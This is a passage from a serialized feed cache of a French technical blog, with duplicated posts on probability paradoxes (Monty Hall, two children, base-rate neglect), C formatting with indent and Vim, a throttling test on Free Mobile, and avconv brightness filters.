  printf("Victoires en changeant son choix : %d\n", changewin);
  return 0;
}

Intuitivement, si c’est le hasard qui détermine à la fois la porte choisie par le joueur et la porte laissée par le présentateur, et que nous supprimons toutes les parties où le présentateur a éliminé la porte gagnante (en moyenne 1 partie sur 3), tout se passe comme s’il n’y avait que 2 portes dès le début du jeu.

Dissonance

« sonance »

Nous disposons de pastilles de 3 couleurs (disons rouge, bleu et vert).
Nous proposons à un singe de choisir parmi 2 de ces couleurs (par exemple rouge et bleu) celle qu’il préfère (par une méthode quelconque). Il répond « rouge ».
Nous lui demandons alors laquelle il préfère parmi la couleur qu’il n’a pas choisie la première fois (bleu) et celle qui reste (vert). Et le plus souvent (environ 2 fois sur 3), les chercheurs ont observé qu’il rejetait encore la couleur qu’il n’avait pas choisie la première fois (bleu).

Cela montre qu’une fois que nous rejetons quelque chose, nous le dévaluons, ce qui nous amène à le rejeter de nouveau lors d’un second choix.

Ou pas. En réalité, ce raisonnement souffre de la même erreur de raisonnement qui nous induit en erreur dans le problème de Monty Hall.

Supposons que le singe sache trier les trois couleurs par ordre de préférence. Nous lui en montrons deux. Cela revient à choisir au premier tour celle que nous ne lui montrons pas.

Cette couleur non choisie peut être :

  1. celle que le singe préfère ;
  2. la deuxième ;
  3. celle qu’il aime le moins.

Parmi ces 3 possibilités équiprobables, seule la position 3 lui fera la rejeter lors du second choix (c’est la seule moins bonne que la moins bonne du premier choix).

Test positif

Une maladie X touche 1 personne sur 100 000 dans une population. Un test de la maladie X est fiable à 99%. Il se révèle positif pour vous. Quelle est la probabilité que vous soyez infecté ?

Aussi surprenant que cela puisse paraître, la réponse est 0,1%.

Faisons le calcul sur une population de 10 millions de personnes. La maladie touche 1 personne sur 100 000, donc 100 personnes en moyenne.

Le test est fiable à 99%, donc il provoque 1% d’erreur. Sur les 9 999 900 personnes non malades, il y a donc 99 999 erreurs (faux-positifs). Sur les 100 malades, il y a 1 erreur (faux-négatif).

En tout, en moyenne 99 999 + 99 = 100 098 personnes seront testées positives, alors que seules 99 seront malades. Donc si votre test est positif, vous avez 99 chances sur 100 098 d’être malade, soit moins de 0,1%.

Le fait que ce résultat soit surprenant pour notre cerveau provient d’un biais cognitif appelé l’oubli de la fréquence de base.

Conclusion

Méfiez-vous de vos intuitions en probabilités.

";s:7:"dateiso";s:15:"20121209_211120";}s:15:"20121209_201120";a:7:{s:5:"title";s:23:"Paradoxes probabilistes";s:4:"link";s:53:"http://blog.rom1v.com/2012/12/paradoxes-probabilistes";s:4:"guid";s:53:"http://blog.rom1v.com/2012/12/paradoxes-probabilistes";s:7:"pubDate";s:25:"2012-12-09T20:11:20+01:00";s:11:"description";s:0:"";s:7:"content";s:28135:"

Ce sont des cas d’école, mais j’adore ces quelques paradoxes. La simplicité de leurs énoncés et l’évidence de leur solution nous permettent de répondre en quelques secondes, sans aucune hésitation. Mais en nous trompant.

Deux enfants

Un couple a deux enfants dont l’un d’eux (au moins) est une fille. Quelle est la probabilité que l’autre soit (aussi) une fille ?

Par hypothèse, la probabilité à chaque naissance d’avoir un garçon est égale à celle d’avoir une fille (50%), et les naissances sont indépendantes.

La réponse 1/2 est évidente. Mais fausse. La bonne réponse est 1/3.

En effet, un couple ayant deux enfants a 4 possiblités équiprobables :

  1. garçon-garçon
  2. garçon-fille
  3. fille-garçon
  4. fille-fille

Sachant que l’un des deux est une fille, le cas 1 est exclu : il reste trois possibilités équiprobables, dont une seule correspond au cas fille-fille. Il y a donc une chance sur trois que les deux enfants soient des filles. CQFD.

Pour vous en convaincre, considérez les deux phrases équivalentes suivantes :

Pour chacune d’elles, demandez-vous quelle est la probabilité que les deux enfants soient des filles.

Attendez d’être convaincus de ce résultat avant de passer à la suite.

Fausse implication

Une fois ce résultat compris, considérons l’énoncé suivant :

Un couple a deux enfants. Je le croise dans la rue avec l’un de ses enfants, qui est une fille. Quelle est la probabilité que l’autre enfant (celui qui est absent) soit (aussi) une fille.

Il est possible de répondre avec certitude : s’il est absent, c’est un garçon, si elle est absente, c’est une fille. (Ça, c’est fait !)

Alors vous appliquez le même raisonnement, et répondez 1/3. Après tout, nous sommes exactement dans le cas de l’énoncé précédent : un couple a deux enfants et je sais que l’un d’eux (au moins) est une fille.

Mais non, c’est faux. Ici, la réponse est 1/2.

Pour le comprendre, il faut voir que le raisonnement menant à la réponse 1/3 n’est en fait tout-à-fait valide qu’en levant une légère ambiguïté de l’énoncé, celle de l’acquisition de l’information : comment savons-nous que le couple ayant deux enfants a au moins une fille (pour déterminer la probabilité qu’il en ait deux) ?

Si nous avons demandé à l’un des parents “avez-vous (au moins) une fille ?” et qu’il a répondu “oui”, alors la probabilité que les deux soient des filles est bien 1/3.

Par contre, si nous lui avons demandé “indiquez-moi le sexe de l’un de vos enfants” et qu’il a répondu “j’ai (au moins) une fille”, alors la probabilité que les deux soient des filles est 1/2. En effet, le fait que le parent puisse répondre garçon à cette question lorsqu’il a deux enfants de sexes différents fait baisser la probabilité conditionnelle des cas 2 et 3, et une fois le cas 1 exclu, l’union des 2 et 3 et le cas 4 sont équiprobables. Relisez la phrase précédente plusieurs fois. Comme elle n’est pas claire, consultez le calcul sur Wikipedia.

Le fait de rencontrer un enfant de ce couple (ici, une fille) s’apparente à ce dernier cas (car pour deux enfants de sexes différents, nous aurions pu rencontrer le garçon). Ainsi, la probabilité que l’autre soit une fille est 1/2.

Si ce n’est pas clair, continuez, j’en reparle un peu plus loin lorsque j’évoque la particularisation.

Deux enfants, un jour

Un couple a deux enfants dont l’un d’eux (au moins) est une fille née un mardi. Quelle est la probabilité que l’autre soit (aussi) une fille ?

La réponse n’est ni 1/2, ni 1/3, mais 13/27.

Un bash vaut mieux qu’un long discours :

printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep F1 | wc -l
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep F1 | grep F.-F. | wc -l

(Nous supposons avoir obtenu l’information en demandant à l’un des parents “avez-vous une fille née un mardi ?”. Comme dans le premier exemple, si nous lui avions demandé “indiquez-moi le sexe d’un de vos enfants ainsi que son jour de naissance”, la probabilité que l’autre soit une fille serait 1/2.)

Il est également possible de différencier par autre chose qu’un jour de la semaine, par exemple faire la différence entre matin (entre minuit et midi) et après-midi (entre midi et minuit) :

Un couple a deux enfants dont l’un d’eux (au moins) est une fille née un matin. Quelle est la probabilité que l’autre soit (aussi) une fille ?

La réponse est 3/7 :

printf '%s\n' {G,F}{M,A}-{G,F}{M,A} | grep FM | wc -l
printf '%s\n' {G,F}{M,A}-{G,F}{M,A} | grep FM | grep F.-F. | wc -l

Deux enfants, un prénom

Supposons maintenant qu’aucun couple n’appelle deux de ses enfants par le même prénom, et considérons l’énoncé suivant :

Un couple a deux enfants dont l’un d’eux (au moins) est une fille prénommée Sophie. Quelle est la probabilité que l’autre soit (aussi) une fille ?

La réponse ici est 1/2.

Si vous avez compris le résultat du script bash précédent, cela revient à supposer que les enfants ne peuvent pas être nés le même jour de la semaine (ce qui est absurde pour un jour de la semaine, mais pas pour un prénom) :

printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep -v '^.\(.\)-.\1' | grep F1 | wc -l
printf '%s\n' {G,F}{0..6}-{G,F}{0..6} | grep -v '^.\(.\)-.\1' | grep F1 |
    grep F.-F. | wc -l

Synthèse et particularisation

Résumons. Sachant que l’un des deux enfants est une fille, la probabilité que les deux soient des filles dépend de la capacité à particulariser l’enfant dont on connaît le sexe. Sans aucune information supplémentaire, la probabilité est 1/3.

Mais si nous savons par exemple que l’enfant en question est l’aîné, nous le particularisons complètement : nous sommes sûrs que l’autre n’est pas l’aîné, et donc la probabilité devient 1/2 (évidemment, puisque par hypothèse, les naissances sont indépendantes). De même, si nous supposons qu’un couple ne donne pas le même prénom à plusieurs de ses enfants, alors préciser le prénom particularise complètement l’enfant dont on parle. Il en va de même si nous rencontrons l’un des enfants dans la rue : c’est de celui qui est présent dont on parle, pas n’importe lequel.

Et il existe des cas intermédiaires, où nous ne particularisons que partiellement. Par exemple, en précisant que l’enfant est né un mardi, dans certains cas l’information est différenciante (l’autre enfant n’est pas né un mardi), dans certains cas non (les deux enfants sont nés un mardi). Le résultat n’est donc ni 1/3, ni 1/2, mais entre les deux (13/27 ici).

Si vous avez du mal à vous convaincre que rencontrer l’un des enfants dans la rue le particularise (et donc donne une probabilité de 1/2 que l’autre soit une fille ou un garçon), je vous propose l’expérience de pensée suivante (par l’absurde).

Vous rencontrez le couple avec l’un de ses enfants, qui est une fille. D’après le tout premier raisonnement, vous en concluez que la probabilité que l’autre soit une fille est 1/3. Vous lui parlez, et vous lui demandez quel jour de la semaine elle est née, elle vous répond mardi. Vous savez maintenant que c’est une fille née un mardi. D’après ce que nous venons de voir, vous en concluez que la probabilité que l’autre soit une fille est 13/27. Mais le résultat aurait été le même si elle avait répondu n’importe quel autre jour de la semaine. Le fait d’avoir posé la question a donc changé la probabilité, et ceci, indépendemment de sa réponse. Comment pourrait-elle dépendre du simple fait de poser la question ? C’est incohérent.

Cette particularisation me fait d’ailleurs beaucoup penser au phénomène de décohérence quantique.

Monty Hall

Il s’agit jeu télévisé avec trois portes, dont voici les règles :

La question qui se pose alors est :

Le joueur augmente-t-il ses chances de gagner la voiture en changeant son choix initial ?

Vu qu’il reste deux portes, nous pourrions nous dire que garder son choix initial ou le changer n’a pas d’incidence sur les probabilités. Ce qui évidemment est faux (sinon nous n’en parlerions pas). En réalité, il a une probabilité de 1/3 de gagner s’il conserve son choix initial et 2/3 s’il en change.

Lors de son choix initial, le joueur a une chance sur trois de sélectionner la porte gagnante. S’il décide de toujours garder sa porte, il a donc une chance sur trois de gagner. Comme à la fin il n’a que deux choix (garder ou changer), il aurait eu deux chances sur trois de gagner en changeant de porte.

Pour mieux comprendre, généralisons le principe du jeu :

La réponse devient évidente, non ?

Si vous n’êtes pas convaincus, développeur et que vous connaissez la loi des grands nombres, ce programme devrait vous aider :

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  int i, winning, choice, elim, change;
  int keepwin = 0, changewin = 0;

  /* Initialise le seed pour la génération aléatoire */
  srand(time(NULL));

  for (i = 0; i < 10000; i++) {
    /* Tire au sort une porte gagnante et un choix du joueur */
    winning = rand() % 3;
    choice = rand() % 3;

    /* Présentateur */
    if (choice == winning)
      /* Choisit aléatoirement d'éliminer l'une des deux autres portes */
      elim = ~winning & (rand() % 2 + 1);
    else
      /* Désigne la porte restante perdante */
      elim = 3 - choice - winning;

    /* Compte les choix vainqueurs */
    change = 3 - choice - elim;
    keepwin += choice == winning;
    changewin += change == winning;
  }

  printf("Victoires en gardant son choix   : %d\n", keepwin);
  printf("Victoires en changeant son choix : %d\n", changewin);
  return 0;
}

Notez que rand() % 3 ne fournira pas une distribution strictement uniforme (3 n’étant pas une puissance de 2), mais la précision nous suffira ici.

Ce problème est similaire au paradoxe des prisonniers.

Variante

Changeons un peu les règles : maintenant, le présentateur ne sait pas où se trouve la porte gagnante.

Du coup, une fois que le joueur a choisi sa porte, le présentateur indique une porte au hasard parmi les deux restantes. Si malheureusement il tombe sur la porte gagnante, la partie est annulée et on recommence.

Ainsi nous retirons toutes les parties où le présentateur a ouvert la porte gagnante. Il ne reste donc plus que les parties où il désigne une porte perdante, et nous nous retrouvons dans le même cas que précédement.

Eh bien, en fait, non. Ce n’est pas le même cas que précédemment, car maintenant le joueur va gagner avec un probabilité est de 1/2 qu’il garde sa porte ou qu’il en change. La preuve :

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main()
{
  int i = 0, winning, choice, elim, change;
  int keepwin = 0, changewin = 0;

  /* Initialise le seed pour la génération aléatoire */
  srand(time(NULL));

  while (i < 10000) {
    /* Tire au sort une porte gagnante et un choix du joueur */
    winning = rand() % 3;
    choice = rand() % 3;

    /* Présentateur */
    elim = ~choice & (rand() % 2 + 1);
    if (elim == winning)
      continue;

    /* Compte les choix vainqueurs */
    change = 3 - choice - elim;
    keepwin += choice == winning;
    changewin += change == winning;
    i++;
  }

  printf("Victoires en gardant son choix   : %d\n", keepwin);
  printf("Victoires en changeant son choix : %d\n", changewin);
  return 0;
}

Intuitivement, si c’est le hasard qui détermine à la fois la porte choisie par le joueur et la porte laissée par le présentateur, et que nous supprimons toutes les parties où le présentateur a éliminé la porte gagnante (en moyenne 1 partie sur 3), tout se passe comme s’il n’y avait que 2 portes dès le début du jeu.

Dissonance

– “sonance”

Nous disposons de pastilles de 3 couleurs (disons rouge, bleu et vert).

Nous proposons à un singe de choisir parmi 2 de ces couleurs (par exemple rouge et bleu) celle qu’il préfère (par une méthode quelconque). Il répondrouge”.

Nous lui demandons alors laquelle il préfère parmi la couleur qu’il n’a pas choisie la première fois (bleu) et celle qui reste (vert). Et le plus souvent (environ 2 fois sur 3), les chercheurs ont observé qu’il rejetait encore la couleur qu’il n’avait pas choisie la première fois (bleu).

Cela montre qu’une fois que nous rejetons quelque chose, nous le dévaluons, ce qui nous amène à le rejeter de nouveau lors d’un second choix.

Ou pas. En réalité, ce raisonnement souffre de la même erreur de raisonnement qui nous induit en erreur dans le problème de Monty Hall.

Supposons que le singe sache trier les trois couleurs par ordre de préférence. Nous lui en montrons deux. Cela revient à choisir au premier tour celle que nous ne lui montrons pas.

Cette couleur non choisie peut être :

  1. celle que le singe préfère ;
  2. la deuxième ;
  3. celle qu’il aime le moins.

Parmi ces 3 possibilités équiprobables, seule la position 3 lui fera la rejeter lors du second choix (c’est la seule moins bonne que la moins bonne du premier choix).

Test positif

Une maladie X touche 1 personne sur 100 000 dans une population. Un test de la maladie X est fiable à 99%. Il se révèle positif pour vous. Quelle est la probabilité que vous soyez infecté ?

Aussi surprenant que cela puisse paraître, la réponse est 0,1%.

Faisons le calcul sur une population de 10 millions de personnes. La maladie touche 1 personne sur 100 000, donc 100 personnes en moyenne.

Le test est fiable à 99%, donc il provoque 1% d’erreur. Sur les 9 999 900 personnes non malades, il y a donc 99 999 erreurs (faux-positifs). Sur les 100 malades, il y a 1 erreur (faux-négatif).

En tout, en moyenne 99 999 + 99 = 100 098 personnes seront testées positives, alors que seules 99 seront malades. Donc si votre test est positif, vous avez 99 chances sur 100 098 d’être malade, soit moins de 0,1%.

Le fait que ce résultat soit surprenant pour notre cerveau provient d’un biais cognitif appelé l’oubli de la fréquence de base.

Conclusion

Méfiez-vous de vos intuitions en probabilités.

";s:7:"dateiso";s:15:"20121209_201120";}s:15:"20121115_132354";a:7:{s:5:"title";s:37:"Formater du code C avec indent et Vim";s:4:"link";s:68:"http://blog.rom1v.com/2012/11/formater-du-code-c-avec-indent-et-vim/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4210";s:7:"pubDate";s:31:"Thu, 15 Nov 2012 12:23:54 +0000";s:11:"description";s:384:"Pour suivre des règles de codage et s’y tenir, rien de tel qu’un outil qui formate automatiquement le code (c’est plus rapide et sans erreurs). Sous Eclipse par exemple, la combinaison de touches Ctrl+Shift+F est indispensable. Mon but est d’obtenir la même fonctionnalité sous Vim pour le langage C. indent L’outil indent permet de formater […]";s:7:"content";s:6082:"

Pour suivre des règles de codage et s’y tenir, rien de tel qu’un outil qui formate automatiquement le code (c’est plus rapide et sans erreurs). Sous Eclipse par exemple, la combinaison de touches Ctrl+Shift+F est indispensable. Mon but est d’obtenir la même fonctionnalité sous Vim pour le langage C.

indent

L’outil indent permet de formater un source C selon des règles définies par des paramètres en ligne de commande. Ces options sont très nombreuses. Heureusement, il y a quelques styles bien connus prédéfinis, comme le style K&R (option -kr).

Pour illustrer son fonctionnement, voici un code source écrit n’importe comment (et qui fait n’importe quoi) :

#include <stdio.h>

void f (  int* x  )
  {
 *x=4;}

void g(int x)
{goto mylabel;
        /* my comment */
    if(x>10)x=10;
       mylabel:
    printf ("%d\n",x *2);
switch(x){case 1:x=4;break;case 2:x=1;}
    while   ( * ( &x ) <10)x++; /* what? */
}

void h(char ( * ( * x ( ) ) [ ] ) ( ) ) {
char ( * ( * y ) [ ] ) ( ) = \
x ( ) ; char ( * z ) ( ) = * \
( * y ) ; char c = z ( ); putchar \
(c);
}

int main(){
int i=  2;  f(&i);
  g(i);

        return    0;
}

Pour formater :

indent -st -kr -ts4 file.c

Voici le résultat :

#include <stdio.h>

void f(int *x)
{
    *x = 4;
}

void g(int x)
{
    goto mylabel;
    /* my comment */
    if (x > 10)
        x = 10;
  mylabel:
    printf("%d\n", x * 2);
    switch (x) {
    case 1:
        x = 4;
        break;
    case 2:
        x = 1;
    }
    while (*(&x) < 10)
        x++;                    /* what? */
}

void h(char (*(*x())[])())
{
    char (*(*y)[]) () = x();
    char (*z) () = *(*y);
    char c = z();
    putchar(c);
}

int main()
{
    int i = 2;
    f(&i);
    g(i);

    return 0;
}

C’est plus joli, non ?

vim

Pour pouvoir reformater directement dans Vim, il suffit d’ajouter dans ~/.vimrc la ligne suivante :

autocmd BufNewFile,BufRead *.c set formatprg=indent\ -kr\ -ts4

Ensuite, la commande gq formate (u annule).

Par exemple, sur le fichier source malformaté ci-dessus :

Ainsi, seule la fonction g est formatée.

À partir de la ligne 7, le même résultat est obtenu en tapant directement gq8j (descendre de 8 lignes) ou gq15G (jusqu’à la ligne 15).

Pour reformater un bloc, le plus simple est de se placer sur une accolade { ou } et de taper gq% (% navigue entre les {}, () et [] ouvrant et fermant).

Pour reformater tout le fichier, il faut taper gggqG :

:wq

";s:7:"dateiso";s:15:"20121115_132354";}s:15:"20121115_122354";a:7:{s:5:"title";s:37:"Formater du code C avec indent et Vim";s:4:"link";s:67:"http://blog.rom1v.com/2012/11/formater-du-code-c-avec-indent-et-vim";s:4:"guid";s:67:"http://blog.rom1v.com/2012/11/formater-du-code-c-avec-indent-et-vim";s:7:"pubDate";s:25:"2012-11-15T12:23:54+01:00";s:11:"description";s:0:"";s:7:"content";s:10196:"

Pour suivre des règles de codage et s’y tenir, rien de tel qu’un outil qui formate automatiquement le code (c’est plus rapide et sans erreurs). Sous Eclipse par exemple, la combinaison de touches Ctrl+Shift+F est indispensable. Mon but est d’obtenir la même fonctionnalité sous Vim pour le langage C.

Indent

L’outil indent permet de formater un source C selon des règles définies par des paramètres en ligne de commande. Ces options sont très nombreuses. Heureusement, il y a quelques styles bien connus prédéfinis, comme le style K&R (option -kr).

Pour illustrer son fonctionnement, voici un code source écrit n’importe comment (et qui fait n’importe quoi) :

#include <stdio.h>

void f (  int* x  )
  {
 *x=4;}

void g(int x)
{goto mylabel;
        /* my comment */
    if(x>10)x=10;
       mylabel:
    printf ("%d\n",x *2);
switch(x){case 1:x=4;break;case 2:x=1;}
    while   ( * ( &x ) <10)x++; /* what? */
}

void h(char ( * ( * x ( ) ) [ ] ) ( ) ) {
char ( * ( * y ) [ ] ) ( ) = \
x ( ) ; char ( * z ) ( ) = * \
( * y ) ; char c = z ( ); putchar \
(c);
}

int main(){
int i=  2;  f(&i);
  g(i);

        return    0;
}

Pour formater :

indent -st -kr -ts4 file.c

Voici le résultat :

#include <stdio.h>

void f(int *x)
{
    *x = 4;
}

void g(int x)
{
    goto mylabel;
    /* my comment */
    if (x > 10)
        x = 10;
  mylabel:
    printf("%d\n", x * 2);
    switch (x) {
    case 1:
        x = 4;
        break;
    case 2:
        x = 1;
    }
    while (*(&x) < 10)
        x++;                    /* what? */
}

void h(char (*(*x())[])())
{
    char (*(*y)[]) () = x();
    char (*z) () = *(*y);
    char c = z();
    putchar(c);
}

int main()
{
    int i = 2;
    f(&i);
    g(i);

    return 0;
}

C’est plus joli, non ?

vim

Pour pouvoir reformater directement dans Vim, il suffit d’ajouter dans ~/.vimrc la ligne suivante :

autocmd BufNewFile,BufRead *.c set formatprg=indent\ -kr\ -ts4

Ensuite, la commande gq formate (u annule).

Par exemple, sur le fichier source mal formaté ci-dessus :

Ainsi, seule la fonction g est formatée.

À partir de la ligne 7, le même résultat est obtenu en tapant directement gq8j (descendre de 8 lignes) ou gq15G (jusqu’à la ligne 15).

Pour reformater un bloc, le plus simple est de se placer sur une accolade { ou } et de taper gq% (% navigue entre les {}, () et [] ouvrant et fermant).

Pour reformater tout le fichier, il faut taper gggqG :

:wq

";s:7:"dateiso";s:15:"20121115_122354";}s:15:"20121017_124953";a:7:{s:5:"title";s:30:"Free Mobile n’est pas neutre";s:4:"link";s:58:"http://blog.rom1v.com/2012/10/free-mobile-nest-pas-neutre/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4170";s:7:"pubDate";s:31:"Wed, 17 Oct 2012 10:49:53 +0000";s:11:"description";s:401:"Intrigué par le rapport d’un utilisateur sur RespectMyNet (qu’il présente en détail), j’ai voulu vérifier par moi-même. Sur un serveur hébergé chez moi sur une ligne Free ADSL (maximum ~120Ko/s en upload), je crée un fichier totalement aléatoire dans un répertoire accessible en HTTP, avec plusieurs extensions : # crée un fichier de 2Mio dd if=/dev/urandom […]";s:7:"content";s:3359:"

Intrigué par le rapport d’un utilisateur sur RespectMyNet (qu’il présente en détail), j’ai voulu vérifier par moi-même.

Sur un serveur hébergé chez moi sur une ligne Free ADSL (maximum ~120Ko/s en upload), je crée un fichier totalement aléatoire dans un répertoire accessible en HTTP, avec plusieurs extensions :

# crée un fichier de 2Mio
dd if=/dev/urandom of=random count=4000
# crée plusieurs liens avec des extensions différentes
for ext in avi ogg oga webm pdf mp4 mov; do ln -s random{,.$ext}; done

Sur mon téléphone avec Android 4.11, connecté au réseau Free Mobile (sur une antenne d’Orange), je partage la connexion avec mon PC (Paramètres, Connexion, Sans fil et réseaux, Plus…, Partage de connexion, Via USB). Avec mon PC (sous Debian testing), je m’y connecte.

Je télécharge alors chacun des fichiers :

for ext in avi ogg oga webm pdf mp4 mov; do wget monserveur/random.$ext; done

Le résultat est sans appel.

Pour les fichiers portant l’extension .avi, .ogg, .mp4, .mov (et sans doute d’autres), le débit ne dépasse pas 5Ko/s et est même souvent en dessous d’1Ko/s :

requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 2048000 (2,0M) 
Sauvegarde en : «random.avi»

 1% [                                       ] 34 486       757B/s  eta 43m 6s 

Par contre, pour les fichiers portant l’extension .oga, .webm, et .pdf, ça fonctionne parfaitement :

requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 2048000 (2,0M) 
Sauvegarde en : «random.oga»

27% [=========>                             ] 570 300      104K/s  eta 14s    

Cette limite ne vient pas de ma ligne Free ADSL (qui fonctionne parfaitement par ailleurs).
Free Mobile filtre donc les fichiers sur HTTP en fonction de leur extension.

Il reste à vérifier si cela se produit aussi sur une antenne Free (mais je n’en capte jamais).

Le problème ne se produit que sur une antenne Orange ; sur une antenne Free, ça fonctionne normalement.

";s:7:"dateiso";s:15:"20121017_124953";}s:15:"20121017_104953";a:7:{s:5:"title";s:28:"Free Mobile n'est pas neutre";s:4:"link";s:57:"http://blog.rom1v.com/2012/10/free-mobile-nest-pas-neutre";s:4:"guid";s:57:"http://blog.rom1v.com/2012/10/free-mobile-nest-pas-neutre";s:7:"pubDate";s:25:"2012-10-17T10:49:53+02:00";s:11:"description";s:0:"";s:7:"content";s:3212:"

Intrigué par le rapport d’un utilisateur sur RespectMyNet (qu’il présente en détail), j’ai voulu vérifier par moi-même.

Sur un serveur hébergé chez moi sur une ligne Free ADSL (maximum ~120Ko/s en upload), je crée un fichier totalement aléatoire dans un répertoire accessible en HTTP, avec plusieurs extensions :

# crée un fichier de 2Mio
dd if=/dev/urandom of=random count=4000
# crée plusieurs liens avec des extensions différentes
for ext in avi ogg oga webm pdf mp4 mov; do ln -s random{,.$ext}; done

Sur mon téléphone avec Android 4.11, connecté au réseau Free Mobile (sur une antenne d’Orange), je partage la connexion avec mon PC (Paramètres, Connexion, Sans fil et réseaux, Plus…, Partage de connexion, Via USB). Avec mon PC (sous Debian testing), je m’y connecte.

Je télécharge alors chacun des fichiers :

for ext in avi ogg oga webm pdf mp4 mov; do wget monserveur/random.$ext; done

Le résultat est sans appel.

Pour les fichiers portant l’extension .avi, .ogg, .mp4, .mov (et sans doute d’autres), le débit ne dépasse pas 5Ko/s et est même souvent en dessous d’1Ko/s :

requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 2048000 (2,0M) [video/x-msvideo]
Sauvegarde en : «random.avi»

 1% [                                       ] 34 486       757B/s  eta 43m 6s 

Par contre, pour les fichiers portant l’extension .oga, .webm, et .pdf, ça fonctionne parfaitement :

requête HTTP transmise, en attente de la réponse...200 OK
Longueur: 2048000 (2,0M) [audio/ogg]
Sauvegarde en : «random.oga»

27% [=========>                             ] 570 300      104K/s  eta 14s    

Cette limite ne vient pas de ma ligne Free ADSL (qui fonctionne parfaitement par ailleurs). Free Mobile filtre donc les fichiers sur HTTP en fonction de leur extension.

Il reste à vérifier si cela se produit aussi sur une antenne Free (mais je n’en capte jamais).

EDIT : Le problème ne se produit que sur une antenne Orange ; sur une antenne Free, ça fonctionne normalement.

";s:7:"dateiso";s:15:"20121017_104953";}s:15:"20120814_142638";a:7:{s:5:"title";s:59:"Modifier la luminosité d’une vidéo dans avconv (ffmpeg)";s:4:"link";s:83:"http://blog.rom1v.com/2012/08/modifier-la-luminosite-dune-video-dans-avconv-ffmpeg/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4122";s:7:"pubDate";s:31:"Tue, 14 Aug 2012 12:26:38 +0000";s:11:"description";s:367:"Pour partager des vidéos capturées par mon appareil photo, je les convertissais jusqu’alors en Ogg/Theora grâce à ffmpeg2theora. Ce format (contrairement au h264) est libre et lisible nativement par Firefox, y compris par la version mobile. Mais j’envisage depuis longtemps de passer à WebM (le format libéré par Google il y a un peu plus […]";s:7:"content";s:5456:"


Pour partager des vidéos capturées par mon appareil photo, je les convertissais jusqu’alors en Ogg/Theora grâce à ffmpeg2theora. Ce format (contrairement au h264) est libre et lisible nativement par Firefox, y compris par la version mobile.

Mais j’envisage depuis longtemps de passer à WebM (le format libéré par Google il y a un peu plus de deux ans), plus performant, lui aussi lu nativement par Firefox (et par d’autres). Pour cela, je vais utiliser avconv.

avconv

Qu’est-ce qu’avconv ? Le meilleur moyen de le savoir est d’exécuter ffmpeg sans arguments :

$ ffmpeg
…
*** THIS PROGRAM IS DEPRECATED ***
This program is only provided for compatibility and will be removed in a future release. Please use avconv instead.

En fait, c’est plus compliqué que ça.

J’ai précisé « ffmpeg » dans le titre du billet car je pense que c’est encore sous ce nom que l’outil est le plus connu. Le contenu de ce billet s’applique aussi bien à ffmpeg qu’à avconv.

Filtres

Il m’arrive d’avoir besoin d’appliquer des filtres très simples ; typiquement, augmenter la luminosité d’une vidéo. ffmpeg2theora permet de le faire directement grâce à l’option -B. Mais on a beau chercher dans le man d’avconv, on ne trouve rien.

frei0r

C’est là qu’intervient le projet frei0r. Il s’agit d’une API permettant d’appliquer des filtres vidéo que chaque application pourra utiliser. Et ça tombe bien, l’application avconv peut l’utiliser si elle a été compilée avec l’option --enable-frei0r.

La bonne nouvelle, c’est que la version distribuée par Debian wheezy est compilée avec cette option. La mauvaise, c’est que celle fournie dans Ubuntu 12.04 ne l’est pas.

frei0r a besoin de plugins permettant d’appliquer les filtres. Il est nécessaire pour cela d’installer frei0r-plugins :

sudo apt-get install frei0r-plugins

avconv + frei0r

La syntaxe pour utiliser frei0r dans avconv est la suivante :

-vf frei0r=<filter_name>[{:|=}<param1>:<param2>:...:<paramN>]

Mais comment connaître les filter_names disponibles et leurs paramètres ?
Je n’ai trouvé aucune documentation à ce sujet. J’ai donc consulté les sources.

À partir de là, on comprend facilement que la luminosité est modifiée par le filtre brightness comportant un paramètre de type double (voir notamment la fonction f0r_get_param_info) compris entre 0 (sombre) et 1 (clair) (0.5 étant la luminosité de la vidéo d’origine).

En respectant la syntaxe, cela donne par exemple :

avconv -i video.mts -s 640x360 -ac 1 -q:a 2 -b:v 600k -vf frei0r=brightness:0.6 output.webm

Il existe plein d’autres filtres. Par exemple pour le contraste, c’est contrast0r :

-vf frei0r=contrast0r:0.4

Pour les combiner, il suffit de concaténer plusieurs blocs -vf :

-vf frei0r=brightness:0.6,frei0r=contrast0r:0.4

Conclusion

Malgré les apparences, avconv permet, pour peu qu’il soit compilé avec l’option-qui-va-bien, d’encoder des vidéos en modifiant la luminosité, le contraste, et d’appliquer bien d’autres filtres… ce qui est très pratique.

";s:7:"dateiso";s:15:"20120814_142638";}s:15:"20120814_122638";a:7:{s:5:"title";s:57:"Modifier la luminosité d'une vidéo dans avconv (ffmpeg)";s:4:"link";s:82:"http://blog.rom1v.com/2012/08/modifier-la-luminosite-dune-video-dans-avconv-ffmpeg";s:4:"guid";s:82:"http://blog.rom1v.com/2012/08/modifier-la-luminosite-dune-video-dans-avconv-ffmpeg";s:7:"pubDate";s:25:"2012-08-14T12:26:38+02:00";s:11:"description";s:0:"";s:7:"content";s:5052:"

Pour partager des vidéos capturées par mon appareil photo, je les convertissais jusqu’alors en Ogg/Theora grâce à ffmpeg2theora. Ce format (contrairement au H264) est libre et lisible nativement par Firefox, y compris par la version mobile.

Mais j’envisage depuis longtemps de passer à WebM (le format libéré par Google il y a un peu plus de deux ans), plus performant, lui aussi lu nativement par Firefox (et par d’autres). Pour cela, je vais utiliser avconv.

avconv

Qu’est-ce qu’avconv ? Le meilleur moyen de le savoir est d’exécuter ffmpeg sans arguments :

$ ffmpeg
…
*** THIS PROGRAM IS DEPRECATED ***
This program is only provided for compatibility and will be removed in a future release. Please use avconv instead.

EDIT : En fait, c’est plus compliqué que ça.

J’ai précisé ffmpeg dans le titre du billet car je pense que c’est encore sous ce nom que l’outil est le plus connu. Le contenu de ce billet s’applique aussi bien à ffmpeg qu’à avconv.

Filtres

Il m’arrive d’avoir besoin d’appliquer des filtres très simples : typiquement, augmenter la luminosité d’une vidéo. ffmpeg2theora permet de le faire directement grâce à l’option -B.

Mais on a beau chercher dans man avconv, on ne trouve rien.

frei0r

